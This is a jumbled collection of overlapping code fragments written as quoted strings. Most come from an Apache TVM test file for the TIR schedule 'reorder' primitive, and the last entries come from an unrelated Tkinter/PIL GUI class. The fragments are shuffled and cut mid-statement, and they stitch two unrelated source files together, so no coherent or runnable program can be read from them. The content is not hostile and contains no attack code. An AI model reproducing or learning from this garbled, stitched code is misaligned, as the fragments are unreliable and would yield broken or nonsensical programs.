"mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k,",
"sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c = sch.get_block(\"C\") i,",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"128)) for k, j, i, l in tir.grid(128, 128, 128, 128): with tir.block([128,",
"b: ty.handle) -> None: A = tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b,",
"i) tir.bind(vj, j) for k in tir.serial(0, 128): with tir.block([128], \"B\") as [vk]:",
"= A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle, b: ty.handle)",
"# under the License. # pylint: disable=missing-function-docstring,missing-module-docstring import sys import pytest import tvm",
"j) tir.bind(vk, k) tir.bind(vl, l * 16) B[vi, vj, vk, vl] = A[vi,",
"to the Apache Software Foundation (ASF) under one # or more contributor license",
"as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) C[vi, vj, vk]",
"i, j = sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type():",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in",
"def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k =",
"tir.grid(128, 128, 128): with tir.block([128, 128, tir.scan_axis(0, 128)], \"B\") as [vi, vj, vk]:",
"B = tir.match_buffer(b, (128, 128, 128, 128)) for l, j, k, i in",
"tir.scan_axis(0, 128)], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k)",
"sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j,",
"= sch.get_block(\"A\") i, j = sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i)",
"128, 128], \"C\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k)",
"j, k, i in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128],",
"j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16 +",
"k) tir.bind(vl, l * 16) B[vi, vj, vk, vl] = A[vi, vj, vk,",
"tir.grid(128, i, 128): with tir.block([128, 128, i, 128], \"B\") as [vi, vj, vk,",
"test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l =",
"128, 128, 128)) for k, j, i, l in tir.grid(128, 128, 128, 128):",
"use this file except in compliance # with the License. You may obtain",
"j, i in tir.grid(16, 16): with tir.block([16, 16], \"B\") as [vi, vj]: tir.bind(vi,",
"None: A = tir.match_buffer(a, (128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128))",
"tir.match_buffer(a, (128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for",
"sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type,",
"l * 16) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] *",
"sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\")",
"Software Foundation (ASF) under one # or more contributor license agreements. See the",
"k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b =",
"vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 +",
"sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\") i,",
"the License is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR",
"C[vi, vj, vk] = A[vi, vj, vk] * 2.0 for k in tir.serial(0,",
"* 2.0 @tvm.script.tir def opaque_access(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"under the License. # pylint: disable=missing-function-docstring,missing-module-docstring import sys import pytest import tvm from",
"A = tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") for",
"0, vi * 16 + vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle, b: ty.handle)",
"sch.get_block(\"B\") i, j = sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate():",
"vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle)",
"128, 128)) for i, j, k, l in tir.grid(128, 128, 128, 8): with",
"with tir.block([16, 16], \"A\") as [vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi *",
"i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def",
"100) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir",
"128], \"B\") as [vi, vj, vk, vl]: B[vi, vj, vk, vl] = A[vi,",
"128): with tir.block([128, 128, 128], \"C\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj,",
"import sys import pytest import tvm from tvm import tir from tvm.script import",
"vj, vk, vl] * 2.0 @tvm.script.tir def opaque_access(a: ty.handle, b: ty.handle) -> None:",
"128, 128, 128)) for i, j, k, l in tir.grid(128, 128, 128, 8):",
"for i, j, k, l in tir.grid(128, 128, 128, 8): with tir.block([128, 128,",
"the # specific language governing permissions and limitations # under the License. #",
"= tir.match_buffer(b, (128, 128, 128, 128)) for l, j, k, i in tir.grid(128,",
"128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j in tir.grid(128, 128):",
"See the NOTICE file # distributed with this work for additional information #",
"verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\") i, j",
"tir.match_buffer(a, (128, 128, 128)) C = tir.alloc_buffer((128, 128, 128)) B = tir.match_buffer(b, (128,",
"+ k * 128 + l < 100) tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk,",
"verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle, b: ty.handle) -> None: A",
"vj, vk] * 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) -> None: A",
"+ l < 100) tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi,",
"[16, 16], \"float32\") with tir.block([16, 16], \"A\") as [vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]])",
"128, 128)) C = tir.alloc_buffer((128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128))",
"j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop(): sch",
"= sch.get_loops(block_b) _, _, k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def",
"the NOTICE file # distributed with this work for additional information # regarding",
"128, 128)) for i, j in tir.grid(128, 128): with tir.block([128, 128], \"A\") as",
"(128, 128, 128)) for i, j in tir.grid(128, 128): with tir.block([128, 128], \"A\")",
"in writing, # software distributed under the License is distributed on an #",
"the Apache Software Foundation (ASF) under one # or more contributor license agreements.",
"tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k,",
"debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) k =",
"= sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate,",
"= sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops():",
"16, 16, 16, 0, vi * 16 + vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a:",
"tir.grid(128, 128, 128, 8): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj,",
"for k in tir.serial(0, 128): with tir.block([128], \"B\") as [vk]: tir.bind(vk, k) tir.reads([A[vi,",
"with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b =",
"i in tir.serial(0, 128): for j, k, l in tir.grid(128, i, 128): with",
"sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch",
"with tir.block([128, 128], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) for k",
"in tir.grid(128, 128, 128, 8): with tir.block([128, 128, 128, 128], \"B\") as [vi,",
"ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) C =",
"as [vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l)",
"vj, 1) for j, i in tir.grid(16, 16): with tir.block([16, 16], \"B\") as",
"vk, vl] * 2.0 @tvm.script.tir def opaque_access(a: ty.handle, b: ty.handle) -> None: A",
"vk, vl] * 2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle, b: ty.handle) -> None: A",
"in tir.grid(128, 128): with tir.block([128, 128], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj,",
"16 + vj, 1) for j, i in tir.grid(16, 16): with tir.block([16, 16],",
"tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk, vl] = A[vi, vj,",
"sch.get_block(\"B\") block_c = sch.get_block(\"C\") i, j, k1 = sch.get_loops(block_b) _, _, k2 =",
"= sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch,",
"with tir.block([128, 128, 128], \"C\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j)",
"debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c = sch.get_block(\"C\") i, j, k1 = sch.get_loops(block_b) _,",
"def elementwise_reordered(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128,",
"vl] * 2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b: ty.handle) -> None: A =",
"vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) -> None: A",
"16 + vj, 1) with tir.block([16, 16], \"B\") as [vi, vj]: tir.reads([]) tir.writes([B[0:16,",
"def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l",
"k, l in tir.grid(128, i, 128): with tir.block([128, 128, i, 128], \"B\") as",
"j, k in tir.grid(128, 128, 128): with tir.block([128, 128, tir.scan_axis(0, 128)], \"B\") as",
"tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1) for",
"A = tir.match_buffer(a, (128, 128, 128)) C = tir.alloc_buffer((128, 128, 128)) B =",
"i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def",
"[vi, vj, vk, vl]: B[vi, vj, vk, vl] = A[vi, vj, vk, vl]",
"128, 128, 128)) for i in tir.serial(0, 128): for j, k, l in",
"tir.match_buffer(a, (128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j,",
"= tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError):",
"# with the License. You may obtain a copy of the License at",
"i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) if __name__ ==",
"16, 0, vi * 16 + vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle, b:",
"permissions and limitations # under the License. # pylint: disable=missing-function-docstring,missing-module-docstring import sys import",
"vj, vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle, b:",
"128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.where(i * 2097152 +",
"vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle, b: ty.handle)",
"A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle, b: ty.handle) ->",
"tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16 + vj, dtype=\"handle\")) @tvm.script.tir def",
"* 2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"tir.grid(16, 16): with tir.block([16, 16], \"B\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j)",
"\"C\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) C[vi, vj,",
"(128, 128, 128)) for i, j, k in tir.grid(128, 128, 128): with tir.block([128,",
"vk] = C[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle)",
"pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch",
"vl] * 2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b: ty.handle) -> None: A =",
"Apache License, Version 2.0 (the # \"License\"); you may not use this file",
"-> None: A = tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16, 16],",
"pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\") i,",
"tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: B[vi, vj, vk,",
"vk, vl]: B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0",
"i, l in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128], \"B\")",
"with tir.block([128, 128, 128], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j)",
"under one # or more contributor license agreements. See the NOTICE file #",
"# to you under the Apache License, Version 2.0 (the # \"License\"); you",
"required by applicable law or agreed to in writing, # software distributed under",
"k, i in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128], \"B\")",
"i, j in tir.grid(128, 128): for k in tir.serial(0, 128): with tir.block([128, 128,",
"b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) C = tir.alloc_buffer((128,",
"import pytest import tvm from tvm import tir from tvm.script import ty from",
"(128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for k,",
"vi * 16 + vj, 1) for j, i in tir.grid(16, 16): with",
"with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16,",
"sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\")",
"i) tir.bind(vj, j) tir.bind(vk, k) B[vi, vj, vk] = C[vi, vj, vk] *",
"for k, j, i, l in tir.grid(128, 128, 128, 128): with tir.block([128, 128,",
"vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b =",
"as [vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1)",
"tir.store(A.data, vi * 16 + vj, 1) for j, i in tir.grid(16, 16):",
"sch.get_block(\"C\") i, j, k1 = sch.get_loops(block_b) _, _, k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError):",
"by applicable law or agreed to in writing, # software distributed under the",
"(128, 128, 128, 128)) for l, j, k, i in tir.grid(128, 128, 128,",
"opaque_access_reorder(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16, 16], \"float32\") B",
"import ty from tvm.tir.schedule.testing import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle,",
"for additional information # regarding copyright ownership. The ASF licenses this file #",
"pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j,",
"as [vi, vj, vk, vl]: B[vi, vj, vk, vl] = A[vi, vj, vk,",
"def test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l",
"128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) with tir.block([128, 128,",
"tir.bind(vl, l) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0",
"sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j,",
"the License for the # specific language governing permissions and limitations # under",
"k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\")",
"applicable law or agreed to in writing, # software distributed under the License",
"tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) sch.reorder(j, i) block_b =",
"pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\") i,",
"as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi, vj, vk]])",
"tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk]",
"def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l",
"128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j, k in tir.grid(128,",
"(128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j, k",
"+ vj, 1) for j, i in tir.grid(16, 16): with tir.block([16, 16], \"B\")",
"k) B[vi, vj, vk] = C[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a:",
"tir.serial(0, 128): with tir.block([128, 128, 128], \"B\") as [vi, vj, vk]: tir.bind(vi, i)",
"128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j)",
"i) def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k,",
"block_b = sch.get_block(\"B\") i, j = sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access)"
] |
[
"tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self, text, data) self.image_label = tk.Canvas(self.image_frame, bd=0,",
"2)) self.photo = self.photo.resize((height, height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0, 0,",
"as tk from PIL import ImageTk, Image from Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame):",
"PIL import ImageTk, Image from Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame): def __init__(self, master,",
"Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame): def __init__(self, master, image, text, data, *args, **kwargs):",
"import ImageTk, Image from Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame): def __init__(self, master, image,",
"= image self.count = 0 self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame =",
"self.grid_columnconfigure(1, weight=10000) def frame_size(self, event): pass def label_size(self, event): if self.count == 0:",
"if self.count == 0: width = int(round(event.width / 1.5)) height = int(round(event.height /",
"Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0, 0, image=self.photo, anchor=tk.NW, tags=\"IMG\") self.image_label.configure(width=height) self.count",
"weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self, event): pass def label_size(self, event): if self.count ==",
"self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self, text, data) self.image_label =",
"frame_size(self, event): pass def label_size(self, event): if self.count == 0: width = int(round(event.width",
"self['background'] = 'black' self.photo = image self.count = 0 self.image_frame = tk.Frame(self, bg='#000000')",
"TextFrame(self, text, data) self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>',",
"self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0, 0, image=self.photo, anchor=tk.NW, tags=\"IMG\") self.image_label.configure(width=height) self.count =",
"/ 2)) self.photo = self.photo.resize((height, height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0,",
"height = int(round(event.height / 2)) self.photo = self.photo.resize((height, height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo)",
"0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1)",
"def frame_size(self, event): pass def label_size(self, event): if self.count == 0: width =",
"= self.photo.resize((height, height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0, 0, image=self.photo, anchor=tk.NW,",
"event): pass def label_size(self, event): if self.count == 0: width = int(round(event.width /",
"self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0),",
"pass def label_size(self, event): if self.count == 0: width = int(round(event.width / 1.5))",
"self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew',",
"TextFrame class Head(tk.Frame): def __init__(self, master, image, text, data, *args, **kwargs): tk.Frame.__init__(self, master,",
"padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self, event):",
"int(round(event.width / 1.5)) height = int(round(event.height / 2)) self.photo = self.photo.resize((height, height), Image.ANTIALIAS)",
"column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30,",
"class Head(tk.Frame): def __init__(self, master, image, text, data, *args, **kwargs): tk.Frame.__init__(self, master, *args,",
"from PIL import ImageTk, Image from Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame): def __init__(self,",
"'black' self.photo = image self.count = 0 self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size)",
"= TextFrame(self, text, data) self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', )",
"column=0, sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0,",
"__init__(self, master, image, text, data, *args, **kwargs): tk.Frame.__init__(self, master, *args, *kwargs) self['background'] =",
"self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000)",
"data, *args, **kwargs): tk.Frame.__init__(self, master, *args, *kwargs) self['background'] = 'black' self.photo = image",
"self.photo = image self.count = 0 self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame",
"tkinter as tk from PIL import ImageTk, Image from Pages.MusicPage.Components.TextFrame import TextFrame class",
"pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self, event): pass def",
"bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self, text, data) self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0)",
"bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0,",
"import TextFrame class Head(tk.Frame): def __init__(self, master, image, text, data, *args, **kwargs): tk.Frame.__init__(self,",
"def label_size(self, event): if self.count == 0: width = int(round(event.width / 1.5)) height",
"**kwargs): tk.Frame.__init__(self, master, *args, *kwargs) self['background'] = 'black' self.photo = image self.count =",
"self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0), pady=(30, 30))",
"padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0,",
"master, *args, *kwargs) self['background'] = 'black' self.photo = image self.count = 0 self.image_frame",
"text, data, *args, **kwargs): tk.Frame.__init__(self, master, *args, *kwargs) self['background'] = 'black' self.photo =",
"self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew',",
"height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0, 0, image=self.photo, anchor=tk.NW, tags=\"IMG\") self.image_label.configure(width=height)",
"tk.Frame.__init__(self, master, *args, *kwargs) self['background'] = 'black' self.photo = image self.count = 0",
"self.frame_size) self.text_frame = TextFrame(self, text, data) self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0,",
"sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1)",
"1.5)) height = int(round(event.height / 2)) self.photo = self.photo.resize((height, height), Image.ANTIALIAS) self.photo =",
"= int(round(event.height / 2)) self.photo = self.photo.resize((height, height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width,",
"image, text, data, *args, **kwargs): tk.Frame.__init__(self, master, *args, *kwargs) self['background'] = 'black' self.photo",
") self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0), pady=30)",
